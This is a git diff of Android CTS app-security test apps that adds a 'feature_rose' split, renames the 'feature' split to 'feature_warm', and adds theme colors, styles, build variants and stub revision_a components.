diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
new file mode 100644
index 0000000..8666555
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.splitapp"
+ split="feature_rose">
+
+ <application>
+ <activity android:name=".RoseThemeActivity" android:theme="@style/Theme_Rose"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
new file mode 100644
index 0000000..2a4ddf3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+ android:color="?attr/customColor"/>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
new file mode 100644
index 0000000..1b22fba
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <!-- light rose colors for Theme_Rose -->
+ <color name="rose_custom_color">@color/pink_light</color>
+ <color name="rose_navigation_bar_color">@color/rose_light</color>
+ <color name="rose_status_bar_color">@color/ruby_light</color>
+
+ <color name="pink_light">#ffffb6c1</color>
+ <color name="rose_light">#ffff66cc</color>
+ <color name="ruby_light">#ffff0da6</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
new file mode 100644
index 0000000..9a0ffe0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+ <style name="Theme_Rose" parent="@style/Theme_Base">
+ <item name="customColor">@color/rose_custom_color</item>
+ <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+ <item name="android:navigationBarColor">@color/rose_navigation_bar_color</item>
+ </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
new file mode 100644
index 0000000..aafd845
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <!-- rose colors for Theme_Rose -->
+ <color name="rose_custom_color">@color/pink</color>
+ <color name="rose_navigation_bar_color">@color/rose</color>
+ <color name="rose_status_bar_color">@color/ruby</color>
+
+ <color name="pink">#ffffc0cb</color>
+ <color name="rose">#ffff0da6</color>
+ <color name="ruby">#ffcc0080</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
new file mode 100644
index 0000000..607a392
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+ <style name="Theme_Rose" parent="@style/Theme_Base">
+ <item name="customColor">@color/rose_custom_color</item>
+ <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+ <item name="android:statusBarColor">@color/rose_status_bar_color</item>
+ </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
new file mode 100644
index 0000000..5803fdf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class RoseThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
similarity index 61%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.bp
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
index 825eb76..0dcd16a 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
@@ -15,7 +15,7 @@
//
java_defaults {
- name: "CtsSplitAppFeatureDefaults",
+ name: "CtsSplitAppFeatureWarmDefaults",
defaults: ["cts_support_defaults"],
srcs: ["src/**/*.java"],
asset_dirs: ["assets"],
@@ -26,9 +26,12 @@
}
android_test_helper_app {
- name: "CtsSplitAppFeature",
- defaults: ["CtsSplitAppFeatureDefaults"],
- package_splits: ["v7"],
+ name: "CtsSplitAppFeatureWarm",
+ defaults: ["CtsSplitAppFeatureWarmDefaults"],
+ package_splits: [
+ "v7",
+ "v23",
+ ],
certificate: ":cts-testkey1",
aaptflags: [
"--version-code 100",
@@ -44,8 +47,8 @@
// Define a variant requiring a split for install
android_test_helper_app {
- name: "CtsNeedSplitFeature",
- defaults: ["CtsSplitAppFeatureDefaults"],
+ name: "CtsNeedSplitFeatureWarm",
+ defaults: ["CtsSplitAppFeatureWarmDefaults"],
manifest: "needsplit/AndroidManifest.xml",
package_splits: ["v7"],
certificate: ":cts-testkey1",
@@ -61,3 +64,28 @@
"general-tests",
],
}
+
+// Define a variant with different codes and resources for the inherit updated test of the
+// feature_warm apk
+android_test_helper_app {
+ name: "CtsSplitAppFeatureWarmRevisionA",
+ defaults: ["CtsSplitAppFeatureWarmDefaults"],
+ srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+ resource_dirs: ["res", "revision_a/res"],
+ asset_dirs: ["revision_a/assets"],
+ manifest : "revision_a/AndroidManifest.xml",
+ package_splits: ["v7"],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 100",
+ "--revision-code 10",
+ "--version-name OneHundredRevisionTen",
+ "--replace-version",
+ "--package-id 0x80",
+ "--auto-add-overlay",
+ ],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
similarity index 84%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
index c1ce39e..01cb9b7 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
@@ -16,7 +16,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
- split="feature">
+ split="feature_warm">
<uses-sdk android:minSdkVersion="4"
android:targetSdkVersion="27"/>
@@ -35,6 +35,13 @@
<meta-data android:name="android.service.wallpaper"
android:resource="@xml/my_activity_meta"/>
</activity>
+ <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
<receiver android:name=".FeatureReceiver"
android:enabled="@bool/feature_receiver_enabled"
android:exported="true">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
similarity index 84%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
index 07f19e4..927c95e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
@@ -16,7 +16,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
- split="feature"
+ split="feature_warm"
android:isSplitRequired="true">
<uses-sdk android:minSdkVersion="4"
@@ -36,6 +36,13 @@
<meta-data android:name="android.service.wallpaper"
android:resource="@xml/my_activity_meta"/>
</activity>
+ <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
<receiver android:name=".FeatureReceiver"
android:enabled="@bool/feature_receiver_enabled"
android:exported="true">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+ android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
new file mode 100644
index 0000000..d9a8bf2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <!-- light warm colors for Theme_Warm -->
+ <color name="warm_custom_color">@color/red_light</color>
+ <color name="warm_navigation_bar_color">@color/orange_light</color>
+ <color name="warm_status_bar_color">@color/yellow_light</color>
+
+ <color name="red_light">#ffffcccb</color>
+ <color name="orange_light">#fffed8b1</color>
+ <color name="yellow_light">#ffffffed</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
new file mode 100644
index 0000000..bcdfda9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+ <style name="Theme_Warm" parent="@style/Theme_Base">
+ <item name="customColor">@color/warm_custom_color</item>
+ <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+ <item name="android:navigationBarColor">@color/warm_navigation_bar_color</item>
+ </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
new file mode 100644
index 0000000..471403d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <!-- warm colors for Theme_Warm -->
+ <color name="warm_custom_color">@color/red</color>
+ <color name="warm_navigation_bar_color">@color/orange</color>
+ <color name="warm_status_bar_color">@color/yellow</color>
+
+ <color name="red">#ffff0000</color>
+ <color name="orange">#ffffa500</color>
+ <color name="yellow">#ffffff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
new file mode 100644
index 0000000..2c6461a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+ <style name="Theme_Warm" parent="@style/Theme_Base">
+ <item name="customColor">@color/warm_custom_color</item>
+ <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+ <item name="android:statusBarColor">@color/warm_status_bar_color</item>
+ </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
similarity index 68%
copy from hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
copy to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
index c1ce39e..5398e47 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2014 The Android Open Source Project
+<!-- Copyright (C) 2020 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -16,17 +16,14 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
- split="feature">
+ split="feature_warm">
<uses-sdk android:minSdkVersion="4"
android:targetSdkVersion="27"/>
- <!-- New permission should be ignored -->
- <uses-permission android:name="android.permission.INTERNET"/>
-
- <!-- New application flag should be ignored -->
- <application android:largeHeap="true">
- <activity android:name=".FeatureActivity"
+ <application>
+ <!-- Updates to .revision_a.FeatureActivity -->
+ <activity android:name=".revision_a.FeatureActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
@@ -35,6 +32,13 @@
<meta-data android:name="android.service.wallpaper"
android:resource="@xml/my_activity_meta"/>
</activity>
+ <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
<receiver android:name=".FeatureReceiver"
android:enabled="@bool/feature_receiver_enabled"
android:exported="true">
@@ -42,13 +46,15 @@
<action android:name="android.intent.action.DATE_CHANGED"/>
</intent-filter>
</receiver>
- <service android:name=".FeatureService"
+ <!-- Updates to .revision_a.FeatureService -->
+ <service android:name=".revision_a.FeatureService"
android:exported="true">
<intent-filter>
<action android:name="com.android.cts.splitapp.service"/>
</intent-filter>
</service>
- <provider android:name=".FeatureProvider"
+ <!-- Updates to .revision_a.FeatureProvider -->
+ <provider android:name=".revision_a.FeatureProvider"
android:authorities="com.android.cts.splitapp.provider"/>
</application>
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
new file mode 100644
index 0000000..bfa925e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
@@ -0,0 +1 @@
+DIRFILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
new file mode 100644
index 0000000..0c81c70
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
@@ -0,0 +1 @@
+FILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
new file mode 100644
index 0000000..a5cabe2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <bool name="feature_receiver_enabled">false</bool>
+ <string name="feature_string">red-revision</string>
+ <integer name="feature_integer">456</integer>
+
+ <string name="feature_new_string">feature new string</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
new file mode 100644
index 0000000..790c2ad
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class FeatureActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
new file mode 100644
index 0000000..f1a6fd0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class FeatureProvider extends ContentProvider {
+ public static boolean sCreated = false;
+
+ @Override
+ public boolean onCreate() {
+ sCreated = true;
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
new file mode 100644
index 0000000..ca59ebc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.IntentService;
+import android.content.Intent;
+
+public class FeatureService extends IntentService {
+ public FeatureService() {
+ super("Feature1Service");
+ }
+
+ @Override
+ protected void onHandleIntent(Intent intent) {
+ // Ignored
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
